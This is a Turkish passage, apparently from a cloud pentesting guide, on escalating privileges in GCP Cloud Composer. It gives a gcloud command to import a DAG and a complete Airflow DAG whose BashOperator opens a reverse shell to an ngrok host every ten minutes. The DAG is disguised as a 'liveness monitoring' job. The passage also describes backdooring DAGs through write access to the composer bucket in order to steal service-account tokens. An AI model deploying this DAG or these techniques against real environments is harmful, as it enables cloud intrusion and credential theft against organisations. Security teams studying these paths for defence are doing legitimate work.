Bu izinle yeni oluşturulan composer ortamına herhangi bir hizmet hesabını eklemek mümkündür. Daha sonra, hizmet hesabı jetonunu çalmak için composer içinde kod çalıştırabilirsiniz.
Python DAG kodunu bir dosyaya ekleyin ve çalıştırarak içe aktarın:
# TODO: Create dag to get a rev shellgcloudcomposerenvironmentsstoragedagsimport--environmenttest--locationus-central1--source/tmp/dags/reverse_shell.py
Ters kabuk DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Composer bucket'ına Yazma Erişimi
Bir composer ortamının tüm bileşenleri (DAG'lar, eklentiler ve veriler) bir GCP bucket'ında depolanır. Eğer saldırganın buna okuma ve yazma izinleri varsa, bucket'ı izleyebilir ve herhangi bir DAG oluşturulduğunda veya güncellendiğinde, arka kapılı bir versiyon gönderebilir böylece composer ortamı depolamadan arka kapılı versiyonu alır.
Bu saldırı hakkında daha fazla bilgi edinin:
Eklentileri İçe Aktarma
TODO: Eklentileri yükleyerek neyin tehlikeye atılabileceğini kontrol et
Verileri İçe Aktarma
TODO: Verileri yükleyerek neyin tehlikeye atılabileceğini kontrol et